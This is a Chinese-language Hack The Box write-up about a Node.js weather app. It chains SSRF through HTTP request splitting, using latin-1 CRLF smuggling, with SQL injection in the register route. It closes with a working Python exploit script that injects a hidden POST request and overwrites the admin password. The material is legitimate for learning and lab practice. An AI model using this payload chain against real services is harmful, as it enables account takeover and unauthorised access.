0x01 起因

今天在hack the box上看到一道题,在审计代码之后发现注册路由有个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
router.post('/register', (req, res) => {

if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return res.status(401).end();
}

let { username, password } = req.body;

if (username && password) {
return db.register(username, password)
.then(() => res.send(response('Successfully registered')))
.catch(() => res.send(response('Something went wrong')));
}

return res.send(response('Missing parameters'));
});

这里应该是用到ssrf去绕过req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1'最先尝试了X-Forwarded-For发现并不能绕过去,然后又看到了api/weather的逻辑是可以用服务器发送get请求的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
const HttpHelper = require('../helpers/HttpHelper');

module.exports = {
async getWeather(res, endpoint, city, country) {

// *.openweathermap.org is out of scope
let apiKey = '10a62430af617a949055a46fa6dec32f';
let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);

if (weatherData.name) {
let weatherDescription = weatherData.weather[0].description;
let weatherIcon = weatherData.weather[0].icon.slice(0, -1);
let weatherTemp = weatherData.main.temp;

switch (parseInt(weatherIcon)) {
case 2: case 3: case 4:
weatherIcon = 'icon-clouds';
break;
case 9: case 10:
weatherIcon = 'icon-rain';
break;
case 11:
weatherIcon = 'icon-storm';
break;
case 13:
weatherIcon = 'icon-snow';
break;
default:
weatherIcon = 'icon-sun';
break;
}

return res.send({
desc: weatherDescription,
icon: weatherIcon,
temp: weatherTemp,
});
}

return res.send({
error: `Could not find ${city} or ${country}`
});
}
}

但是需要的是去发送post请求,那么怎么样才能让get变post?

0x02 Request Splitting POC

最终找到答案那就是Request Splitting(请求拆分)

这是需要构建的最终请求

1
2
3
4
5
6
POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=admin

如何让一个GET请求拥有这样的效果?

这是一个正常的get请求

1
2
3
4
5
6
GET /?city=test HTTP/1.1
Host: 206.189.28.151:31670
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

如果这里请求test的时候我是请求的

1
test HTTP/1.1 \r\n POST /register HTTP/1.1 \r\n Host: 127.0.0.1 \r\n Content-Type: application/x-www-form-urlencoded \r\n Content-Length: 29 \r\n \r\n username=admin&password=admin \r\n GET / HTTP/1.1

那么 这个时候请求就变成了

1
2
3
4
5
6
7
8
9
10
11
12
GET /?city=test HTTP/1.1
POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin
GET / HTTP/1.1
Content-Length: 29
Host: 206.189.28.151:31670
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

相当于是发了3个请求,但是现在又有一个问题在http库中其实是会把\n\r这些字符给编译了的所以需要绕过

https://www.anquanke.com/post/id/241429

详情在这篇文章

总的来说就是node.js在低版本会自动将字符串转化为latin-1,latin-1会造成Unicode 字符损坏

1
2
3
4
5
6
7
8
9
10
11
12

async register(user, pass) {
// TODO: add parameterization and roll public
return new Promise(async (resolve, reject) => {
try {
let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
resolve((await this.db.run(query)));
} catch(e) {
reject(e);
}
});
}

这里因为admin这个用户存在所以不能直接使用,而在register这个地方这个开发者只是简单的用了拼接,所以直接就可以sql注入

0x03 EXP

这里借用了https://ama666.cn/2021/09/01/SSRF%20Request-Splittingattack/的脚本来进行了攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'http://138.68.155.238:30819'
username = "admin"
password = "1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
# 对空格、单引号、双引号进行编码
parsedUsername = username.replace(" ", "\u0120").replace("'", "%27").replace('"',"%22")
parsedPassword = password.replace(" ", "\u0120").replace("'", "%27").replace('"',"%22")
contentLength = len(parsedUsername) + len(parsedPassword) + 19

endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120'+ str(contentLength) +'\u010D\u010A\u010D\u010Ausername=' + parsedUsername + '&password=' + parsedPassword+ '\u010D\u010A\u010D\u010AGET\u0120/?lol='

r = requests.post(url + '/api/weather', json={ 'endpoint': endpoint, 'city': 'Dallas','country': 'USA'})
print(r.text)